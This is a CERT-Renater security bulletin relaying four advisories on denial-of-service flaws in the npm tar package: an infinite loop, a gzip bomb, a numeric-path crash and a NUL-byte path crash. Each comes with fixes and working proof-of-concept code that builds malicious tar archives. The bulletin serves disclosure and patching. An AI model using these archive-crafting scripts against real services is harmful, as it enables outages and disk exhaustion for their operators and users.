Ce mail provient de l'extérieur, restons vigilants

=====================================================================

                            CERT-Renater

                Note d'Information No. 2026/VULN688
_____________________________________________________________________

DATE                : 29/06/2026

HARDWARE PLATFORM(S): /

OPERATING SYSTEM(S): Systems running tar (npm) versions prior
                                     to 7.5.19.
 
=====================================================================
https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w
https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw
https://github.com/isaacs/node-tar/security/advisories/GHSA-w8wr-v893-vjvp
https://github.com/isaacs/node-tar/security/advisories/GHSA-gvwx-54wh-qm9j
_____________________________________________________________________


Negative tar entry size causes infinite loop in archive replace
High
isaacs published GHSA-8x88-c5mf-7j5w

Package
tar (npm)

Affected versions
<= 7.5.17

Patched versions
7.5.18


Description

Summary

A checksum-valid tar archive with a negative base-256 encoded entry size
can make tar.replace() loop forever while scanning the existing archive.
Applications that update attacker-controlled tar archives can have a
worker process pinned indefinitely, causing denial of service.


Details

The public tar.replace() API scans the existing archive before appending
replacement entries. During this scan, it parses each tar header and
advances the archive position by the parsed entry size rounded to a
512-byte block boundary.

Tar supports base-256 encoded numeric fields. A crafted header can encode
the entry size as -512 while still carrying a valid checksum. The replace
scan accepts that parsed negative size and uses it in the position-advance
calculation.

For a size of -512, the computed body skip is -512. The scan then adds the
normal 512-byte header step, resulting in no net progress. The scanner
repeatedly parses the same header forever and never reaches the append
step.

This is reachable through the supported package API when the existing
archive file is attacker controlled. It does not rely on extraction,
dependency behavior, or an uncaught exception.


PoC

Save as poc.mjs in a project with the vulnerable package installed and
run:

node poc.mjs

import fs from 'node:fs'
import os from 'node:os'
import path from 'node:path'
import { spawnSync } from 'node:child_process'

const oct = (b, n, off, len) =>
  b.write(n.toString(8).padStart(len - 1, '0') + '\0', off, len, 'ascii')

const badHeader = () => {
  const h = Buffer.alloc(512)

  h.write('x', 0)
  oct(h, 0o644, 100, 8)
  oct(h, 0, 108, 8)
  oct(h, 0, 116, 8)

  // base-256 encoded -512 in the size field
  Buffer.alloc(10, 0xff).copy(h, 124)
  h[134] = 0xfe
  h[135] = 0x00

  oct(h, 0, 136, 12)
  h.fill(0x20, 148, 156)
  h[156] = 0x30
  h.write('ustar\0' + '00', 257, 8, 'binary')

  let sum = 0
  for (const c of h) sum += c
  h.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii')

  return h
}

const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'tar-loop-'))
const file = path.join(dir, 'poc.tar')

fs.writeFileSync(file, badHeader())
fs.writeFileSync(path.join(dir, 'add.txt'), 'x')

const r = spawnSync(
  process.execPath,
  [
    '--input-type=module',
    '-e',
    `
      import * as tar from 'tar'
      tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, ['add.txt'])
      console.log('completed')
    `,
  ],
  { timeout: 20_000 }
)

console.log(r.error?.code === 'ETIMEDOUT')

// Output: true

Impact

An application that calls tar.replace() on an existing archive supplied
or controlled by an attacker can be forced into a non-terminating archive
scan. This can consume a worker process indefinitely and cause denial
of service. Plain extraction-only workflows are not affected by this
finding.


Severity
High
8.7/ 10

CVSS v4 base metrics
Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

CVE ID
No known CVE

Weaknesses
Weakness CWE-835

Credits

    @Jvr2022 Jvr2022 Reporter

_____________________________________________________________________


Decompression/parse DoS via unlimited input
Critical
isaacs published GHSA-23hp-3jrh-7fpw

Package
tar (npm)

Affected versions
<= 7.5.18

Patched versions
7.5.19


Description

Summary

A Decompression/parse DoS via unlimited input vulnerability in node-tar
allows an attacker to exhaust server resources (disk space and CPU).
Because the library does not enforce hard upper bounds on total
decompressed data or entry counts, a small, maliciously crafted
"Gzip Bomb" can be used to fill a server's storage and crash services.


Details

The node-tar library does not enforce a hard upper bound on archive size
or the volume of decompressed data processed during extraction. While
the maxReadSize option exists, it only controls internal read chunk
sizes (default 16MB) and does not limit the total cumulative bytes
written to disk.

Specifically, in src/extract.ts, the Unpack stream processes entries as
they arrive. There is no total-bytes limit, entry-count limit, or
decompression ratio guard. An attacker can provide a TAR header
claiming a massive file size (e.g., 10GB) and follow it with highly
compressible data (like zeros). node-tar will continue to extract and
write this data until the physical disk is exhausted, as it lacks a
mechanism to abort based on global resource consumption.


PoC

The following Proof of Concept demonstrates how a tiny compressed input
can be expanded into gigabytes of data on the host machine almost
instantly.

    Create the exploit script:

const fs = require('fs'), z = require('zlib'), t = require('tar');

const d = 'dos_test';
if (fs.existsSync(d)) fs.rmSync(d, {recursive:true});
fs.mkdirSync(d);

// Build 10GB header
const h = Buffer.alloc(512);
h.write('payload');
h.write((10*1024**3).toString(8).padStart(11,'0'), 124); 
h.write('ustar', 257);
let s = 256;
for(let i=0;i<512;i++) if(i<148||i>155) s+=h[i];
h.write(s.toString(8).padStart(6,'0'), 148);

const gz = z.createGzip();
gz.pipe(t.x({cwd: d}));
gz.write(h);

const b = Buffer.alloc(32 * 1024 * 1024); // 32MB chunks for speed

const run = () => {
  while (gz.write(b));
  gz.once('drain', run);
};

const monitor = setInterval(() => {
    try {
        const bytes = fs.statSync(`${d}/payload`).size;
        const mb = Math.floor(bytes / (1024 * 1024));
        process.stdout.write(`\r[>] Extracted: ${mb} MB`);
        
        if (mb > 5000) { 
            console.log('\n[!] VULN CONFIRMED: 5GB+ written from tiny input.'); 
            process.exit(); 
        }
    } catch {}
}, 50);

process.on('exit', () => {
    clearInterval(monitor);
    console.log('[*] Cleaning up...');
    if (fs.existsSync(d)) fs.rmSync(d, {recursive:true, force:true});
});

run();

    Run the PoC:

node poc.js

Observation: You will see the extracted size rapidly climb to 5,000 MB+
within seconds, while the actual data being "sent" through the gzip
stream is negligible.


Impact

This is a Denial of Service (DoS) vulnerability. It impacts any
application or service that uses node-tar to extract archives provided
by untrusted users (e.g., npm registries, CI/CD pipelines, or
file-sharing platforms). An unauthenticated attacker can send a
small payload that expands to consume all available disk space,
leading to system-wide failure and service outages.


Severity
Critical
9.2/ 10

CVSS v4 base metrics
Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H

CVE ID
No known CVE

Weaknesses
Weakness CWE-770

Credits

    @Jvr2022 Jvr2022 Reporter

_____________________________________________________________________


Process crash via PAX numeric path type confusion
Moderate
isaacs published GHSA-w8wr-v893-vjvp

Package
tar (npm)

Affected versions
<= 7.5.17

Patched versions
7.5.18


Description

Summary

A crafted 2.5KB tar archive crashes any Node.js process that extracts it.
The PAX header parser coerces all-digit path values to JavaScript numbers,
which causes an uncaught TypeError when downstream code calls .split('/')
on the numeric value. Error handlers and strict: false cannot intercept
the crash.


Details

In pax.ts line 180, parseKV converts PAX values matching /^[0-9]+$/ to
numbers via +v. This applies to all fields including path and linkpath.
When a PAX header sets path to an all-digit string like "12345", the value
becomes the number 12345.

This number flows through Header -> ReadEntry -> Unpack.CHECKPATH, where
normalizeWindowsPath(entry.path).split('/') throws a TypeError because
numbers don't have .split().

The throw is synchronous during event emission and bypasses all error
handling:

    strict: false does not help
    'error' event handlers do not catch it
    'warn' handlers do not catch it
    The TypeError propagates through the event emitter stack as an
uncaughtException

Directory, SymbolicLink, and Link type entries reach CHECKPATH and crash.
File type entries crash earlier in Header constructor at
this.path.slice(-1), but that throw is caught and emitted as a warning
only.


PoC

Create a tar archive with a PAX extended header containing an all-digit
path:

PAX header body: "18 path=12345\n"
Entry type: Directory (type '5')

Extract it:

const tar = require('tar');

// All of these crash with TypeError: t.split is not a function
tar.extract({ file: 'malicious.tar', cwd: '/tmp/test' });

// Error handlers don't help:
tar.extract({ file: 'malicious.tar', cwd: '/tmp/test', strict: false })
  .on('error', (err) => { /* never reached */ })
  .on('warn', (code, msg) => { /* never reached */ });

The archive is ~2.5KB. The crash is deterministic on every attempt.


Impact

Denial of service. Any application or tool that extracts untrusted tar
archives crashes from a single small file. This includes npm (which uses
node-tar to extract packages), CI/CD pipelines, file upload processors,
and backup tools. The crash cannot be caught by application-level error
handling.


Severity
Moderate
5.3/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CVE ID
No known CVE

Weaknesses
Weakness CWE-704

Credits

    @homanp homanp Reporter

_____________________________________________________________________


Uncaught Exception DoS via NUL byte in PAX path/linkpath records
Moderate
isaacs published GHSA-gvwx-54wh-qm9j

Package
tar (npm)

Affected versions
<= 7.5.16

Patched versions
7.5.17


Description

Summary

node-tar strips trailing NUL bytes from long-name (L) and long-linkpath
(K) GNU extended headers but does not apply the same sanitization to
equivalent fields delivered via PAX (x typeflag) extended headers. A
PAX record of the form path=visible.txt\x00hidden.txt is parsed verbatim
into entry.path and flows into fs.lstat() / fs.open(), which Node.js
core rejects with ERR_INVALID_ARG_VALUE. The throw originates inside an
FSReqCallback async chain that is not wrapped by the consumer's
await/try-catch around tar.x() — it surfaces as uncaughtException and
terminates the process.

This is a remote denial-of-service primitive against any process that
extracts attacker-supplied tarballs through
tar.x / tar.extract / tar.t / tar.Parser, even when the consumer
follows the documented try/catch error-handling pattern.

A secondary parser-differential (CWE-436) exists because tar(1),
bsdtar, and Python tarfile truncate the path at the first NUL (yielding
visible.txt) while node-tar retains the full string. A validator that
pre-scans a tarball with one tool and extracts with the other is
bypassed.


Root cause
Vulnerable sink — src/pax.ts:157-183

PAX KV records flow through parseKVLine. The value half (v) is assigned
directly to the result object with no sanitization for embedded NUL
bytes:

// src/pax.ts:157
const parseKVLine = (set: Record<string, unknown>, line: string) => {
  const n = parseInt(line, 10)
  if (n !== Buffer.byteLength(line) + 1) return set
  line = line.slice((n + ' ').length)
  const kv = line.split('=')
  const r = kv.shift()
  if (!r) return set
  const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')
  const v = kv.join('=')                                 // <-- NO NUL STRIP
  set[k] =
    /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?
      new Date(Number(v) * 1000)
    : /^[0-9]+$/.test(v) ? +v
    : v                                                  // <-- v with NULs lands here
  return set
}

The PAX record body is length-prefixed, so the parser knows the exact
byte boundary — but it never checks whether the value half
between = and \n contains NUL. The result is consumed by
Header / ReadEntry, where entry.path and entry.linkpath carry the
embedded NUL all the way to fs.lstat().

Correctly-patched cousin sink — src/parse.ts:375-388

The equivalent code path for GNU L/K long-headers does strip NUL bytes:

// src/parse.ts:375
case 'NextFileHasLongPath':
case 'OldGnuLongPath': {
  const ex = this[EX] ?? Object.create(null)
  this[EX] = ex
  ex.path = this[META].replace(/\0.*/, '')               // <-- NUL strip applied
  break
}
case 'NextFileHasLongLinkpath': {
  const ex = this[EX] || Object.create(null)
  this[EX] = ex
  ex.linkpath = this[META].replace(/\0.*/, '')           // <-- NUL strip applied
  break
}

The parse.ts fix is the maintainer's own acknowledgement that path strings
on this codepath must be NUL-stripped before reaching fs.*. The PAX path
produces the identical primitive but bypasses the guard.


Downstream blast radius

entry.path and entry.linkpath are consumed in:

    src/unpack.ts → fs.lstat, fs.open, fs.symlink, fs.link, fs.mkdir
    src/list.ts (no crash — listing tolerates NUL in strings)
    Any consumer of the ReadEntry event that calls path.join() / fs.* on entry.path

The crash fires inside the FSReqCallback Node-internal async machinery,
outside the user's await tar.x(...) Promise rejection boundary.


Proof of Concept

Artifacts

    poc-null-byte-crash.tar — 3072 bytes — PAX path=visible.txt\x00hidden.txt
    poc-null-linkpath-crash.tar — 2560 bytes — PAX linkpath=target\x00garbage (symlink target sink)
    poc1-pax-prefix.py — minimal PAX-header builder (Python 3, no deps)

Tarball generator (minimal repro — Python 3)

#!/usr/bin/env python3
"""Minimal PAX-NUL-injection tarball generator for node-tar PoC."""
import os

def cksum(b):
    s = 0
    for i, x in enumerate(b):
        s += 0x20 if 148 <= i < 156 else x
    return s

def pad512(buf):
    rem = len(buf) % 512
    return buf + b'\0' * (512 - rem) if rem else buf

def hdr(name, size, typeflag, prefix=b'', linkpath=b''):
    b = bytearray(512)
    b[0:len(name[:100])] = name[:100]
    b[100:108] = b'0000644\0'
    b[108:116] = b'0001000\0'
    b[116:124] = b'0001000\0'
    b[124:136] = ('%011o ' % size).encode()
    b[136:148] = ('%011o ' % 0).encode()
    b[148:156] = b'        '
    b[156:157] = typeflag
    b[157:157+len(linkpath[:100])] = linkpath[:100]
    b[257:265] = b'ustar\x0000'
    b[265:270] = b'root\0'
    b[297:302] = b'root\0'
    b[329:337] = b'0000000\0'
    b[337:345] = b'0000000\0'
    b[345:345+len(prefix[:155])] = prefix[:155]
    s = cksum(b)
    b[148:156] = ('%06o\0 ' % s).encode()
    return bytes(b)

def pax(records):
    body = b''
    for k, v in records:
        kv = b' ' + k + b'=' + v + b'\n'
        for digits in range(1, 8):
            total = digits + len(kv)
            if len(str(total)) == digits:
                break
        body += str(total).encode() + kv
    return pad512(hdr(b'PaxHeader/poc', len(body), b'x') + body)

out  = pax([(b'path', b'visible.txt\x00hidden.txt')])  # NUL in PAX path
out += hdr(b'placeholder', 1, b'0')
out += pad512(b'A')
out += b'\0' * 1024  # end-of-archive

open('poc.tar', 'wb').write(out)

Reproduction

# 1. Generate tarball
python3 poc1-pax-prefix.py          # writes poc.tar (3 KB)

# 2. Install vulnerable version
mkdir repro && cd repro
npm init -y && npm install tar@7.5.16

# 3. Try to extract with documented try/catch — observe uncaught exception
mkdir -p ./out
node --input-type=module -e '
  process.on("uncaughtException", e => {
    console.log("UNCAUGHT:", e.code, "-", e.message);
    process.exit(99);
  });
  import("tar").then(async tar => {
    try {
      await tar.x({ file: "../poc.tar", cwd: "./out" });
      console.log("NORMAL_RETURN");
    } catch (e) {
      console.log("CAUGHT_BY_USER:", e.code);
    }
  });'

Observed output (verified 2026-06-23 against tar@7.5.16)

UNCAUGHT: ERR_INVALID_ARG_VALUE - The argument 'path' must be a string,
Uint8Array, or URL without null bytes.
Received '/.../out/visible.txt\x00hidden.txt'
exit: 99

The exception bypasses the user's try { await tar.x(...) } catch (e) { ... }
block and lands in the global uncaughtException handler. In a typical
server without that handler, the process exits.


Impact
Direct: remote DoS

Any service that ingests attacker-supplied tarballs via node-tar inherits a
one-tarball-kills-the-process primitive. Realistic deployments where this
is reachable without user interaction:

    npm registry tarball ingestion and downstream mirrors
    GitHub Actions cache restore (actions/cache, actions/setup-* extracting toolchains)
    Container image build pipelines that unpack layer tarballs through node tooling
    Backup-restore services accepting user uploads
    CI artifact processors and badge generators
    Static-site / Docusaurus / Next.js build runners that fetch and extract dep tarballs
    Cloud functions that auto-extract uploaded archives

A correctly-coded consumer that does:

try {
  await tar.x({ file: req.upload.path, cwd: tmpdir });
} catch (e) {
  return res.status(400).json({ error: 'bad archive' });
}

does not catch this throw. The Node process dies and (depending on the
supervisor) the worker may take time to respawn or never respawn if it
dies during boot.

Secondary: parser-differential validator bypass (CWE-436)
Tool 	Result for path=visible.txt\x00hidden.txt
GNU tar (tar -tvf) 	Lists visible.txt (truncated at NUL)
bsdtar -tvf 	Lists visible.txt (truncated at NUL)
Python tarfile.list() 	Lists visible.txt\x00hidden.txt (raw)
node-tar tar.t({file}) 	Emits raw NUL-bearing path (no crash)
node-tar tar.x({file}) 	Crashes (uncaught throw)

A pre-flight validator using GNU tar or bsdtar will see a benign
filename; the subsequent node-tar extraction blows up. This is
exploitable against any architecture that
lists-and-validates-then-extracts.


Suggested patch

Match the long-name handler in parse.ts — strip everything from
the first NUL onward in parseKVLine value parsing:

--- a/src/pax.ts
+++ b/src/pax.ts
@@ -173,7 +173,7 @@ const parseKVLine = (set: Record<string, unknown>, line: string) => {

   const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')

-  const v = kv.join('=')
+  const v = kv.join('=').replace(/\0.*$/, '')
   set[k] =
     /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?
       new Date(Number(v) * 1000)

This matches src/parse.ts:379 and src/parse.ts:386 and closes
both path and linkpath sinks in one change.

A defense-in-depth follow-up: add an explicit
assert(!v.includes('\0')) (or fail-soft return set) at the top of
parseKVLine so malformed PAX records that aren't path/linkpath also
can't smuggle NUL into other unanticipated consumers (e.g. third-party
readers of entry.header.atime Date objects constructed from Number(v)
where v had embedded NUL).


Severity
Moderate
5.3/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CVE ID
No known CVE

Weaknesses
Weakness CWE-248

Credits

    @Kayiz-PT Kayiz-PT Reporter
    @bibu123456 bibu123456 Coordinator



=========================================================
+ CERT-RENATER        |    tel : 01-53-94-20-44         +
+ 23/25 Rue Daviel    |    fax : 01-53-94-20-41         +
+ 75013 Paris         |   email:cert@support.renater.fr +
=========================================================




